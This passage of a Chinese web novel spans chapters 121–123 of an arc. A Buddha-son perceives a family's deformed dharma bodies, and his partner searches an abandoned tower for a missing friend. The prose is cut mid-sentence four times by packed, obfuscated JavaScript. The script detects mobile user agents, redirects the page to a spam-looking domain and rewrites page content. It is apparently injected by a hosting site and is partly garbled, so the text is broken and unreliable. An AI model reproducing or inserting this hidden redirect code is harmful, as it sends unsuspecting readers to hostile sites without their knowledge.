罗爱曜看了头疼。心随法身去,怀抱施霜景,以为可以抚慰。可罗爱曜到了初八这日,高强度接触人类,大量的嘈杂声响涌入,罗爱曜一下又极度厌烦起来。这让他不得不回想起千年以前的任何一场仪轨举行,说是宗教场,其实是社交场。在场没有任何一个人持着信仰,却全借着信仰的名头胡乱地求天求地。他们甚至不能分辨出罗爱曜与其他僧尼的区别,有且仅有不空辨认出他的不同。然而不空三藏亦不懂罗爱曜的信与持,认为佛子无教。不空三藏在罗爱曜很年轻时就去世了,所谓“圆寂”。两方都没有什么遗憾,不空三藏不认为罗爱曜能有真正的圆满,而罗爱曜不认为不空三藏得道,圆寂与涅槃有本质区别。 无尽的厌烦。罗爱曜已经打算离开。他只是想看今晚马家人齐聚后会发生什么。 罗爱曜有他自己的骄傲。被呼来喝去不是他的作风,除非达成目的。就算暂时不知目的是什么,他也一定会拾得一个成果再离开。 有那么一瞬间,罗爱曜有在思考一个可能性——他为什么不将这家人的老祖信仰转成佛子信仰,然后处理掉这些不虔诚的、麻烦的信徒就好了。一切圆满,天下寂静。 之前卓逸纶和孙渺渺达成了协议,卓逸纶不出席马家的家宴,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591242|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做马家的幽灵好了,反正马家人有自己的事要忙。 令人玩味的是,其他马家人对卓逸纶竟然也真的不感兴趣。只听说是□□歌请来的客人,听从老祖的安排的。老祖没有让大家去见吗?那就不见。信这些的人往往持着一种异常严苛的自律。 这座死宅终于是喧闹起来,入了夜还闹个没完,吃饱的人三三两两地环绕院子散步,这马家大宅的绲边终于起了用途,马家没有任何隐私,也可能是大家现在并无睡觉的意思吧,还谈不上隐私,所以太太们走闲步,孩子们玩捉迷藏,男人倒是老实,屁股钉在椅子上就是谈天说地。 大约十点,马勤光气喘吁吁地跑过来,手里捧着瓷花盆,前几日交给她的时候,这花盆还是白底蓝花,刚才突地染成了深褐色,紧接着一颗青果结出来,像拉长了的、粗糙的橄榄。马勤光赶紧捧着花盆来找客人。 马勤光急忙说:“只有一颗!这肯定是我的那颗!” 卓先生点点头,“是的。辛苦你了。” 小姑娘欢快地转了一个圈,完成任务可真开心。她并不离开,好像是要盯着客人把这颗青果吃下去。卓先生迎着小女孩的期待,摘下这颗诃梨勒,咬下一口,登时耳畔天乐大作,已是到达顶峰。看来佛子的估算没错,吃这颗诃梨勒的作用和吃马家人是一个效果。 再看向马勤光,此时她已经完全不是小女孩模样。 于罗爱曜的佛眼之中,马勤光甚至完全不成人形。她浑身散发幽幽微光,本应该是非常明净的佛光,然而马勤光完全是一具皱缩的、四肢团揉的畸形儿,四肢都脱离了应该在的位置,像是有什么东西将她的筋一把抽出来了,而那根筋连着她的头颈、手脚和躯干。这样从中心一抽,她就像一团揉皱的纸花,被扯出了层层叠叠的可怖效果。那根筋就这样幽浮于空气中,是白色的光脉。 罗爱曜推开门,看见庭内信步的人,全是这样一团一团的畸形佛胎。女性是四肢鲜明,从后背扯出光脉之后,四肢如花蕊般突出;男性则是更似紧缩的拳头,呼吸之间躯干舒张,隐隐约约看见他们藏在拳心的巨眼。 之所以形容这些人是“佛胎”,是因为罗爱曜从他们身上看见法相,法相在某一程度可视作法身的映射。 然而这些佛胎全是畸形到令人匪夷所思地步。最鲜明的是一层更比一层高的马家天,前几夜只觉得这是借了月影的模糊光塔,现在罗爱曜看得无比真切,这分明是半成的巨大法身,这些白色光脉分中、左、右三股汇聚,又在必要关节旋成轮。 这是半成品的法身。 罗爱曜的法身完备齐全,因此有众多美轮美奂的法相,应时应地显现。相可转成身,例如罗爱曜的琉璃法相可转为琉璃法身,因此有实际功用。身也可以映出相,而残相不可转成身,残身只能映出残相。 这让罗爱曜都有些懵了。这是他千年以来,碰见过最离奇的“同事”。照理说所有的佛、菩萨、金刚、明王都是他的同事,只是有上下级之分。但这也太离奇了。 121.细马春蚕篇(十九) 佛眼关闭,马勤光就还是那个一切正常的小女孩模样。重睁佛眼,马勤光的法相则幽幽地悬空,作畸胎形象,令人不自觉想要往后退步。 罗爱曜遭这些不堪法相刺激了一下,胸中隐隐作呕。即便他闭上佛眼,他也不想和任何马家人交流、沟通。这些“人”尽是些不上不下的存在,肯定不是纯粹的信徒,果然是与佛门有些联系,但这联系的方式太畸形,罗爱曜看不上。 这半成品的法身是谁的?马鸣菩萨的吗?如此不堪? 如果罗爱曜的法身变成这样,如果罗爱曜要制造出这样一些祖祖孙孙的畸胎法相,那罗爱曜宁愿一切在他这代就结束了。 从罗爱曜的法身、法相与报身佛像来看,他本人对自身形象简直重视到发指的地步。就连D市酒店天花板里埋的那张巨型羊皮唐卡上,佛子形象都美得惊心。陡然见到这样的半成品法身,罗爱曜想知道到底发生了什么,因为这可能是他最后一次机会与佛国中人交流。 罗爱曜身为佛子,在投胎出人身之前,识就已存在。他于识中看见万千佛光,也得知了他应该知道的所有一切法,与众佛听经论法。也就是说,罗爱曜的法身先于人身出现,人身是出于必要的机缘才不得已转生的。罗爱曜没有父母,是天诞之胎,不是现在的唯物主义角度能够理解。他一现世,不空三藏就接走他,带在身边培养。 所以罗爱曜骄傲是正常的。他身为佛子,在燃灯佛的众佛名录上也算是非常特殊的存在,与人世的因缘其实极浅,却要继承密教部众的法。罗爱曜需要用这一生调和这种天生的矛盾,这也导致了他没能顺利涅槃的现状。 罗爱曜走入庭中,法身触摸这些蚕丝般的光脉。一种十分熟悉的感觉击中他。在这半成品的法身之中,罗爱曜好像回到了没出生前的某种沐浴的状态。心中并不安定,可众多感官都调度起来,渐渐融合在这场中。罗爱曜无法形容这是一种吉兆还是不祥之兆。他的那尊小佛像摆在屋里,已是裹上厚厚一层脉丝。 吃诃梨勒的目的是为了交流,于是罗爱曜直白地问了,你是谁,你为何要我来? 垂直的天型构造里,天乐悉云集,有如飞天壁画里的伎乐天人纵情舞乐,然而这些天人现在全是扭曲、诡奇的拔筋模样,这些马家人的法相在马家天中欢喜摆动,四肢油油地飘荡,像细风卷过花蕊,吹得那几簇长蕊尤其招摇。 罗爱曜几次失神,在他的人形出生之前,他无数次感知到须弥宝山,而此刻空间无限地外延,好像上下搭建、延伸开来,这种种形色的无量天。 空中的巨型法身不回话,只是一味地要罗爱曜留下。 罗爱曜非常谨慎,收回手臂,不再触摸这些光脉,断绝了链接。然而在他关闭佛眼之前,一道如佛又如魔的声音传了回来。 “若尘心未了,你不能成佛。可若要成佛,涅槃无毁期。” 罗爱曜十分自然地接上这谈话:“你是来接应我成佛的吗?是马鸣还是其他菩萨?” “若我说是,你便随我走吗?” 罗爱曜说:“我尘心未了,也不随人走。我已打算自设坛场,寻护法助我涅槃。” “我只接引,不做护法。” 罗爱曜说:“那算了。” 话音刚落,那如天般高的半成品法身忽然溃散成如烟如雾的迷境。马家人开始舞蹈了。罗爱曜左眼开佛眼,右眼开人眼,只见马家方才的人声鼎沸全部哑然,马勤光从屋内出来,跳着怪异舞蹈,环绕马家大宅的连通走廊。男眷于庭中绕成曼荼罗,三人、四人或五人皆可。女眷于庭院一周,作旋舞、拨头、千手的天魔舞,却又行礼赞之舞,正是马鸣菩萨所编的佛临涅槃颂。 这样的天宫伎乐曾经烙印在罗爱曜的识海之中。如今重现,罗爱曜却一点思乡之情都没有。 罗爱曜甚至非常直觉地得出一个结论:这就是贪心的下场。 罗爱曜虽不知道马鸣菩萨究竟发生了什么事,但现在看来,不是好事。然而这迷境已是困住了罗爱曜,此障已成了。 施霜景自从与罗爱曜的法身做过,罗爱曜就更习惯直接在施霜景的心中讲话了,连微信都懒得使用。只不过罗爱曜的法身声音会更加低沉和缥缈,与罗爱曜的人身在身边时不一样。像之前鬼子母神仪式那回,罗爱曜的人身其实很近,所以插进施霜景心底的声音就几乎与罗爱曜说话的声音无异。 骤然听见罗爱曜法身的声音,施霜景写题的笔停滞下来。 罗爱曜:都怪你非送我来这深山草原里。摊上怪东西了。 施霜景一头问号,不知从何问起。但接下来罗爱曜的法身好像只做传声的用途,非常不活跃,听上去就是又要忙了,但不知道是忙些什么。不能再微信视频,因为到了一个没有办法视频的地方。施霜景要自己照顾自己,自己看着办。 施霜景谈不上后悔不后悔,如果他不劝佛子去帮柳司机,那柳司机的老婆孩子要怎么办?难道眼睁睁看柳司机家破人亡?可哪知道佛子总是这样,一出门就不回来,被事拖住。施霜景想罗爱曜,又得把这想念深深藏起来,罗爱曜说得对,其实还是怪施霜景非要劝他去。施霜景要是早些时候就动之以情喊他回来就好了。 说好的当家教,罗爱曜又跑不见人影。施霜景想了想,还是把起居用品搬到了楼下,他之前住的那间屋子。自庄晓一家住过以后,那房子已经空置半个月了吧,应该是处理好了。罗爱曜说的没错,功能区需要作隔离,施霜景不能再一边写题一边玩猫了,简直是玩物丧志。 施霜景的家教李婉萦非常尽职尽责 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591243|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说好大年初七以后上工,大年初八她就准时抱着资料和卷子来到施霜景家。 “三月十号到十二号二诊,现在是二月,我们还有时间。”李婉萦在自习室白板上更新了高考倒计时和二诊倒计时,“罗先生出差,数学教科书的复习我暂时替他代一下,但我们还是以巩固为主。罗先生之前带你过的教科书已经涵盖了差不多卷面一百分的知识点,你要是能把基础的分数拿到,分数就不会特别难看。” 施霜景猛猛点头,保证完成任务。 李婉萦每天早上九点到施霜景的自习室,下午五点离开,晚上是留给施霜景的作业时间。按照李婉萦设计的进度,如果罗先生二月份整个不出现,那么李婉萦打算在二月底结束她的生物和化学一轮复习,物理和数学进度也差得不多了,三月初就带施霜景做卷子,练习如何考试。题嘛,就是边做边学的,分数也是边刷边提,不能再把做卷子当洪水猛兽。 最近一到晚上,刘奶奶就喊施霜景去福利院吃晚饭,反正佛子现在还没回来,施霜景就不要在家自己开火做饭了,晚上在福利院吃,要是好吃,他还可以打包一份,做第二天的午饭。施霜景是高考生,多受照顾是应该的。 应该的……吗? 大年十二的下午,施霜景正崩溃地做物理知识点的例题,忽然收到刘茜的消息,问施霜景有没有看到何晓栋。施霜景颇有种上课偷摸玩手机的不安感,将手机拿在桌下回复了,说自己一天都在家里补课,怎么可能看到何晓栋。 然而刘茜说,何晓栋的第二次面试还是没过,面试一结束就找不着人了,刘茜还是去买菜的时候听厂里的熟人提起才知道。面试是昨天上午,也就是说何晓栋已经消失了超过二十四个小时。施霜景暗道不好,只能冒昧地举手,向李婉萦简单地说明了一下,表示自己要去帮忙找人,怕福利院的老朋友出什么事。 李婉萦没多说什么,只让施霜景自己也注意安全,不要去水边之类的地方,万一有事及时找警察。今天的题她会把步骤都写在空白处,作业留在白板上,回来记得写作业。 施霜景下楼换外出的衣服,他蹲下来系鞋带的时候,玉米凑上来嗅嗅闻闻,伸手扒拉施霜景的外套。施霜景穿羽绒服,怕给玉米的爪子挠破了,他只好侧身抱起玉米,把玉米放在怀里搓小脑袋十几下,又亲了它的小脑袋,这就把他放在了鞋柜的空处。 突然,施霜景感觉自己右上腹闪过一阵激烈痛楚,非常短促,施霜景扶住鞋柜,堪堪稳住身形。施霜景那一瞬连呼吸都有些无法控制,不敢吸气,怕更痛,也不敢呼气,怕憋死。他僵硬在原地,右手抵着右上腹,试着浅浅呼吸几下,刚才那阵尖锐的痛楚转瞬即逝,只剩下隐痛。施霜景以为是他站起身太快,岔气了,便不当回事,忍着痛出门去。 122.细马春蚕篇(二十) 大年十二这天天气不佳,李婉萦来的时候说隔壁市下了小雪,天气骤寒,明天还要再降温。施霜景出门时吹遍冷风,脑内盘旋着李婉萦这句话,不免更担心何晓栋。 在施霜景看来,何晓栋是比他小的弟弟,施霜景照顾何晓栋是应该的,尽管施霜景曾觉得何晓栋的选择比自己成熟许多。 何晓栋中考成绩不如施霜景,他便果断地选了五年一贯制的专科,学机电一体化专业,他早早就知道自己一定会进某个工厂,但他要做高级技工。何晓栋会选励光厂就更不奇怪了,在他读初中的时候,学历膨胀还没有那么严重,专科毕业回到励光厂工作的年轻人比比皆是,可没想到只是几年过去,励光厂现在招初级技工都优先本科“人才”。 施霜景很怕何晓栋想不开。福利院里偶尔会有这样的孩子,一走就走进死胡同。最严重的还是施霜景读初二那年,一个刚离开福利院不久的孩子烧炭自杀,消息传回福利院,要刘茜过去认尸体。听说警察查那孩子的手机,发现他死前微信余额只有几毛钱,因为只有初中学历,想欠网贷都超不过五位数,甚至还没到这些借贷公司来催款的时候,男孩就已经因为接受不了巨大的社会落差而绝望致死。这年头就连去工地上搬砖也要看其他工友的脸色,没有老乡和兄弟,你就是散兵,被欺负是活该,男孩在备忘录里写遗言,说活到快二十岁才发现自己连搬砖都不配。 天气阴沉如破抹布,施霜景先去福利院见了刘茜,他们在福利院仔仔细细找了一圈,何晓栋没有藏在储物间之类的地方。不论是谁都联系不上何晓栋,电话打过去都是“已关机”的回应,微信留言也没回过。施霜景特意检查了福利院的巨大水箱。他与刘茜心照不宣,刘茜报警,施霜景就骑着共享单车扩大寻找范围。 现在的励光厂已萧索极了,没有网吧或KTV之类的娱乐场所,施霜景第一件事其实是骑车去励光厂厂区,重新向门卫打听情况。 门卫老头拦着不让施霜景进,他指了指刷卡的机器,现在都是高科技了。施霜景笃定门卫老头一定知道何晓栋,“我弟没有门卡,可我弟之前跟厂里老师傅学技术,至少学了一个多月,你肯定知道这号人,他要跟着老师傅一起进进出出的。” “那你讲是哪个老师傅嘛。” 施霜景确实不晓得,他无言地深呼吸几轮,骑车走了。二十分钟后,他拎着一箱牛奶来,重新再问,门卫老头才说:“你讲你弟多大?和你差不多?我们厂区最近年轻工人不多,年轻人培训都在另一个区。你要讲老师傅带学生嘛,这确实有,老王、老杨他们都带,我不晓得你说的是哪个学生。” “大概这么高,戴黑框眼镜,瘦瘦的,有点国字脸。”施霜景一通比划,老头看出他的焦急,又看了看他收下的那箱牛奶,老头终于还是返身回保安亭,拿了一本登记册出来。 门卫戴上老花镜,“我看看啊,我对这男娃娃应该有点印象的,姓何……喏,这里,他一个半月前登记过一回,挂了老杨的名字,那他应该是老杨的学徒。昨天厂里头面试,早上就面试完了,我只是看大门,厂里还有一支年轻人组的保安队,他们每天都要在厂里头清场,毕竟仪器啊这些那么贵的,你弟肯定不会留在我们厂里。” “我知道。那我能不能问问杨师傅的联系方式?” “这样不好吧。” 施霜景面色一沉,“我们已经报警了,要是我们在警察出发找人之前就找到我弟,警察就问不到你头上……” 门卫悻悻一叹,掏出手机,老年人的手机屏幕,划拉下来一个个斗大的字,找到杨师傅电话,赶紧让施霜景抄了过去,抄完就赶人走,真晦气,这还是大年期间呢。 施霜景拿到杨师傅的电话,赶紧联系,得知杨师傅在社区老年人活动室打乒乓球,他又骑着单车去活动室。一路上施霜景仍是觉得右上腹隐隐作痛,倒不碍事,施霜景默默拉高了衣领,防止冷风往口鼻里直接灌。 一见到杨师傅,施霜景说明来意,杨师傅也不知道这学徒去了哪里,他说:“唉,我真的没办法。现在经济效益不好,厂里招的人少,报名的人多。晓栋脑子不笨,但你晓不晓得,今年面试现场连重本的学生都有。我真不晓得晓栋会去哪里。我帮他培训,一分钱都没得收,是看在你们这些娃娃可怜没有人脉才帮忙,可我这个老辈子算什么人脉嘛,干了几十年也不过就是个工人。” 很感动,但没有用。施霜景没有功夫废话,好不容易在活动室附近找到一辆共享电车,不用靠踩踏板了。施霜景骑车绕厂半圈,尽往没人的地方骑,他甚至重返了当年报警抓庄晓的小公园,探过一间间废弃大教室。眼看天色渐晚,施霜景很沮丧,他在冷风中搓搓手,双手合十,在心里问。 施霜景:佛子哥,你能不能帮我找找人? 施霜景:你还给他送过红包的。 施霜景:看在我的面子上,能不能帮我一次?我真的很担心他干傻事。 等了片刻,施霜景从兜里摸出纸来擦鼻子,稍稍用力了一些,擤得几乎耳鸣。这时罗爱曜才说:我不喜欢你干涉这些尘缘。 施霜景忽然心头火起:你什么意思? 罗爱曜:他有他的因果,你不要干涉。我与你关系深,你就要学着远离这些因果。 施霜景:何晓栋是不是真的有事?你不帮忙就算了,凭什么让我也不管? 罗爱曜:你选了我,我选了你,我们便要共业。我不承担这种普通人的业。 施霜景:我就是个普通人。 施霜景:算了,你不帮忙,我还和你废话这么多做什么? 施霜景十分愤怒,被拒绝的滋味很差。这是某种仗着关系特殊而滥用的权力吗?还是某种正当的道德捍卫呢?施霜景才不会想那么多。他不爽,他骑车,他找人。施霜景越想越气,他甚至开始埋怨何晓栋——为什么这么想不开?你到底在哪里?你的因果到底是什么? 天已完全黑了,施霜景把励光厂翻了个底朝天,有人没人的地方都去过了。施霜景甚至想过,何晓栋会不会就在某个朋友家借住呢?或者他去了D市?毕竟D市那么近。如果去D市了,那可不好找。这下反倒轮到刘茜安慰施霜景,喊他先回福利院吃饭,刘茜说警察已经立案了,他们要查何晓栋的手机信号最后在哪里上线,结果很快就会出来的,先吃饭,身体重要。 刘茜的下颌骨裂,施霜景身体不适,大家都是强打精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15595116|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神找人,坐在室内吃饭的时候,某种愤怒的黑色氛围蔓延开来,可在这层愤怒之下,底色是无尽的同情。刘茜冷不丁对施霜景说:“你以后不能这个样子。就算发生任何事,你都不能玩消失,听到没有。” “我不会的。”施霜景说,“我现在只想揍人一顿。” 晚上九点半,警察果然打来电话,说查到何晓栋的手机信号是在D市市郊出现的,他们已经派车过去查了,如果家属这边也着急的话,就把地址分享给家属,大家一起帮忙找。 刘茜想跟过去,但是那么多孩子需要照顾,施霜景决定还是自己去,让刘茜在福利院等消息。施霜景打了网约车往警察给的地址赶,到地方后他们发现那是一片废弃的施工场地,依山而建,警察们举着手电筒往烂尾楼上晃,想看清烂尾楼里到底有没有藏人,可这烂尾楼非常高,恰好是封顶之后才烂尾,修了三十多层,手电最多只能照见五六层楼。 施霜景知道这群人在犹豫什么。 “给我一把手电,我上去找人。”施霜景朝警察伸手。警察愣了愣,施霜景厉声催促道:“给我!” 拿到手电,施霜景立刻就进了烂尾楼,找到楼梯,一层层往上爬,找人。一些警察后知后觉,自己总不能把所有的活都推给家属吧?好歹工资都是靠人民缴的税才发出来的。有年轻警察在楼下喊道:“那个,家属,不然你先去最高楼层,你从上面往下查,我们从下面往上查,这样效率会高一点。” “晓得了!”施霜景大声回道。 烂尾楼的楼梯没有修边栏,也没有标楼层数,灰青色混凝土透出潮湿阴寒的气味,灰粉石浆的建筑骨架遗体便是这样。施霜景爬前十楼的时候还好,往后休息的频率越来越高,他也很久没有爬过这么高的楼了。施霜景脑子空空,摒除一切情绪,只数着楼层,就这样在休息和爬楼的循环中,爬到了顶楼三十八层。 从楼梯间出来,大楼的空窗里卷着穿堂风,门与室之间全是连通的,巨大的、空旷的、虚无的平层,乍一眼望过去分不清是黑夜还是黑墙,也分不清黑暗与空中的差别。施霜景小心地踏出去,水泥地并没有抹平,施霜景喊何晓栋的名字,声音在墙与柱之间回荡,唯独没有传给应该听见的人。 施霜景很快就检查完最高层,往下走。 三十八、三十七、三十六……二十九、二十八……二十二,二十一。 到二十一层时,施霜景余光忽然瞥见人影,他的心脏狠狠一跳,有些吓人。但施霜景这人总是以愤怒应对恐惧,施霜景待心跳缓和一些,立刻进二十一层,手电筒光亮不放过任何一个角落。忽然,施霜景自己关掉了手电筒。 眼睛花了几秒钟适应黑暗,刚才在手电光中分界不明显的黑夜与黑墙,现在暴露在一片纯黑暗之中,倒是分出了深浅的差别。施霜景小心翼翼地走着,避开窗户或是楼梯井。 愈走愈屏住呼吸,愈走愈放慢脚步。一个刹那间,施霜景狠狠给了藏在黑暗中的那人一拳,打中他的侧脸,直把人的眼镜给打掉在地。施霜景立刻拎住这人的衣领,另一手推开手电筒开关,强光对着这人的脸照,直把人照得睁不开眼、双目流泪。 他找到何晓栋了。 123.细马春蚕篇(二十一) 何晓栋挣扎着,胡乱地挥动拳头,施霜景看他不老实,又狠狠地给了他一脚,把他踹到墙根。施霜景朝何晓栋的脸晃动手电光,何晓栋背后靠墙,退无可退,施霜景单膝蹲下,直勾勾盯住何晓栋的眼睛,冷声问道:“你来这里干什么?” “施霜景!我跟你有仇吗?!你把手电筒拿开!”何晓栋边吼边流眼泪,眼镜不知道被踢到哪里去了,什么都看不清,还被强光晃眼,堪称下手极黑。 施霜景将手电筒放在一旁,只为提供光源,施霜景转为双手提住何晓栋的衣领,借力将他按在墙上,重新再问:“你来这里干什么?” 何晓栋犯倔不说,施霜景就一下一下地晃动何晓栋的后背撞墙,何晓栋双腿踢蹬,施霜景躲开来,并喝骂道:“你还有脸生气?你知不知道大家都急疯了!刘奶奶捧着下巴满世界找你,我直接翘了一下午的课喝西北风!你知道今天有多冷吗?!你来这里干什么?为什么爬这么高?” “你管我去死?”何晓栋从施霜景的怒声中提取出关心意味,忽的摆烂了起来,“我心情不好,上来吹吹风,我乐意,你着急什么?你也是搞笑,自己的日子过得好好的,管天管地还管别个藏起来吹风?你家不是还有那什么罗老师吗,啊?红包车子电脑,要什么都有,你关心我干什么?” “你是不是打算跳下去?” “是!我把钱花完就跳下去!”何晓栋激动起来,从兜里摸出手机,他衣服穿得不够多,今天气温低得厉害,他的手给冻得微微颤抖,解锁了手机屏幕,点出微信余额给施霜景看,“我钱还没花完,我跳个屁!看到没有,这是你家罗老师过年给的大红包,我还留着打算用来置办送外卖的行头……不就是没找到工作吗,妈的,我跑外卖大不了就是出门被车撞,我干嘛还要多此一举来跳楼!” 施霜景闻言,长舒一口气,一屁股坐在地上,松开了拽住何晓栋的手,施霜景只是无可奈何地望着何晓栋,直接无语。 “我来这里是为了批发电子烟!”何晓栋破罐子破摔,“厂里朋友告诉我的,说是有人经常在这里批发进口电子烟,一手交钱一手拿货。不是什么好烟,但是用户稳定,不是马上要开学了么,我批发点电子烟去卖给学生,赚点辛苦费。” 施霜景对电子烟没概念,但他知道这种偷摸干的事肯定不是什么好事,于是施霜景又踢了何晓栋一脚,“书读到哪里去了?你就不怕被抓坐牢?” “我连半——个人影都没看到,还坐牢,我在这蹲两天了!” “何晓栋,你就是欠打,读初中的时候你挨打挨少了,不知道见到哪些人该躲,不能和他们扎堆厮混。”施霜景真恨不得穿越回初中的时候,少护何晓栋一点,施霜景出去打架,打完架就会有意无意说自己罩着谁,也不算白打一场,那时施霜景就经常报菜名一样地报福利院孩子的名字,没少提何晓栋。院里其他大孩子还笑施霜景傻。 真是一腔闷火不知道往哪儿发去。施霜景郁闷地吐气,穿堂风吹进来,从嘴里呼出的尽是白烟。施霜景心里知道励光厂并不如他们想象中那么安全,就像他去年年底去杨玲玲家送菜一样,莫名其妙差点被人捅死……佛子所说的何晓栋的“因果”是什么?施霜景本想多休息一下,他今天奔波一个下午,刚才爬了快四十层楼,又下了快二十层楼,见面给了何晓栋几下,这分钟体力有点告罄,可一想到去年自己冷不丁给人捅了二十刀的事,施霜景就觉得因果不能等。 施霜景撑地站起来,找到何晓栋的眼镜并还给他,又见到何晓栋藏在不远处的书包,施霜景一并拿回来了。正在这时,何晓栋忽然发出一声凄厉尖叫,施霜景后颈鸡皮疙瘩全起来了。 “有、有有有有有人……”何晓栋撑墙站起来,指向靠窗处,“刚刚跑跑跑、跑过去了……” 施霜景二话不说拽上何晓栋,“不管有没有人,我们都要先下去。” “操!你真莽啊施霜景,连鬼都不怕?” 施霜景将何晓栋护在身前,给何晓栋照路,两人顺利走到楼梯间,施霜景叮嘱何晓栋小心下楼,别滚下去了,楼梯没护栏,要是摔下去会出大事。 何晓栋刚才被人影吓得腿软,这下他老老实实扶墙下楼,但他就是说不出的怕,浸入骨髓的那种寒意。施霜景长了个心眼,在快要下到二十层的楼梯间时,他用身体掩住了镂空水泥门,怕何晓栋乱看,把一些有的没的错以为是鬼。施霜景爬楼的时候有注意过,烂尾楼的每一层或多或少堆了些剩余的建筑材料,一些塑料罩布随风乱飘确实很恐怖,如果真的有人就更恐怖了。施霜景现在对恐怖的阈值还算蛮高,毕竟和罗爱曜生活久了,有种莫名其妙的底气,行事作风也就更稳当些。 终于,在下到十三层的时候,何晓栋见到了穿黑衣服的警察,他吊起的那口气一下就松了,但警察的脸色非常不好看。十三层聚集了七八位警察,竟然是比施霜景来时见到的警察人数更多。 有励光厂的警察过来确认何晓栋的安危,顺嘴教育了一下何晓栋,“大年还没过完,你就这么跑出来鬼混,对得起你哥吗?你哥二话不说,拎着手电筒就上去找你,你知不知道这烂尾楼里出事了?” 何晓栋瞪大眼睛,“出事?什么事?” “算了,那个,家属你先带他回去,明天早上等我们电话,可能要喊你弟弟过来做个笔录。我们今晚要加班了,这搞得猝不及防的……唉。” 说话间,施霜景才发现楼下逐渐闪烁了更多的红蓝警灯,漫射光线将黑夜染成了雾的迷蒙质感。待到他们下到一楼,何晓栋走得膝盖打颤,施霜景发现竟然有救护车,就一把抓过何晓栋,将他塞到急救处,说是警察让他们来处理伤口的,请急救人员帮何晓栋看看。急救人员一看何晓栋像是挨打了,马上找药物出来给他消毒,何晓栋非常微妙地望向施霜景,眼神仿佛在问:人怎么能机灵成这样? 急救人员替何晓栋消毒、上药,施霜景绷着酷脸,很自然地问急救人员,这上面到底发生什么了?急救人员很年轻,没搂住,说警察在烂尾楼里发现了两具尸体。何晓栋大惊失色,施霜景朝他点点头,意思是让他别大惊小怪。待急救人员替何晓栋处理好,二人脚底抹油,赶紧走回大路,叫车回励光厂。 是了。如此熟悉的感觉。施霜景想,罗爱曜既然能说得这么严重,连承担普通人的业都说出来了,那只能是生死之事。 何晓栋被吓得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15595117|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颇有点失魂落魄,临到励光厂,何晓栋忽然哀求施霜景:“施霜景,我能不能去你家住一晚?福利院的大房间太空了,我怕我做噩梦——” 何晓栋知道罗老师不在,出差去了,施霜景略微思忖,答应何晓栋的要求,但是:“你只能睡气垫床。” 佛子要是知道他那张床垫被其他人睡过,肯定会不高兴。别说佛子了,就连施霜景自己都不舍得。 何晓栋点头如捣蒜,其实他还害怕刘茜的责骂。要是能借住一晚上,睡饱喝足养好体力,明天再去挨刘茜的打也能受得住。 “哎呀,咪咪,咪咪过来。” “它叫玉米。” “咪咪,咪咪。” 施霜景给何晓栋支气垫床,这还是他从郎放一家继承来的呢。何晓栋见自己没办法把玉米喊出来,转而去参观施霜景的住处:“我靠,你家就这么一间卧室,你真和罗老师睡一张大床啊?” 何晓栋说罢就要去试一试施霜景的床,床垫那么有存在感,一看就无比好睡。施霜景一把制住他,直白道:“别乱碰我家的东西。我没别的意思,但我必须要提醒你,如果你碰了这张床,明天出去你就有可能被车撞。我不开玩笑。” “不是,施霜景你没毛病吧?一张床而已,你咒我?” 施霜景少见地翻了个白眼,“你进门的时候没看见墙上的佛龛吗?” “看见了啊,不就是信佛么。” “这张床,这间房子,都是罗老师的。你乱动罗老师的东西,他会报复你。”施霜景只能说到这份上,他只能希望何晓栋做人不要太没悟性。 何晓栋显然是以为如果自己碰了这床垫,会被罗爱曜开车撞,他连道小气,算了,来别人家总不能太放肆。 何晓栋只有最后一个问题。“施霜景,问完这个问题我就去洗澡睡觉——” “问吧。” “你真的被罗老师包养了吗?” 施霜景调低房间空调,随意回道:“我们不是包养关系。他是我对象。” “可是他给你这么多东西,和你住在一起,这不叫包养吗?” 施霜景反问他:“你没有谈过恋爱吗?” 这下何晓栋给踩到痛处了,郁闷地埋头离开房间。他就是没谈过啊。真没谈过。施霜景给何晓栋找了浴巾和自己的睡衣,让何晓栋去洗澡。何晓栋洗完澡出来,忽然没头没尾地说了一句:“看在你去找我的份上,我就不和你算医药费了。算我活该。” 